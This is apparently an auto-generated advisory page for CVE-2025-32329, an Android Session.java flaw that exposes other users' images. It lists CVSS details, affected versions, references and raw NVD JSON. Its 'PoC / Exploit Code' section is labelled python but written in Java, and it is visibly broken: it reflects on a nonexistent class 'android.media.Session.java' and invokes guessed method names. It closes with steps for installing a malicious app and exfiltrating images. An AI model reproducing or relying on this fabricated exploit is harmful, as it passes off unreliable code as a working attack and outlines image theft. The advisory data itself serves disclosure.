Security Vulnerability Report
中文
CVE-2025-32329 CVSS 7.8 HIGH

CVE-2025-32329

Published: 2025-12-08 17:16:14
Last Modified: 2025-12-09 21:52:13

Description

In multiple functions of Session.java, there is a possible way to view images belonging to a different user of the device due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
Android Framework < 2025-12-01 安全补丁版本
Android 框架 Session.java 在 e030442861f4dd0e03d67b65f0940b488007f0d7 提交之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-32329 PoC - Android Session.java Logic Error // This PoC demonstrates the logic error in Session.java that allows // accessing images belonging to different users import android.app.Activity; import android.content.Context; import android.os.Bundle; import java.lang.reflect.Method; public class CVE202532329_PoC extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // The vulnerability exists in Session.java multiple functions // where user session validation is incorrectly implemented try { // Attempt to access Session.java through reflection // to trigger the logic error that bypasses user validation Class<?> sessionClass = Class.forName("android.media.Session.java"); // The logic error allows accessing another user's session // by not properly validating the session ownership Method[] methods = sessionClass.getDeclaredMethods(); for (Method method : methods) { // Trigger methods that have the logic error // These methods don't properly check if the caller // has permission to access the session's resources if (method.getName().contains("getImage") || method.getName().contains("getResource")) { method.setAccessible(true); // Invoke without proper user validation Object result = method.invoke(null, getApplicationContext()); } } } catch (Exception e) { e.printStackTrace(); } } } // Exploitation steps: // 1. Install malicious app with low privileges // 2. Trigger the vulnerable Session.java functions // 3. Bypass user session validation through logic error // 4. Access images from different user sessions // 5. Exfiltrate sensitive image data

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-32329", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:14.173", "lastModified": "2025-12-09T21:52:13.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple functions of Session.java, there is a possible way to view images belonging to a different user of the device due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/e030442861f4dd0e03d67b65f0940b488007f0d7", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}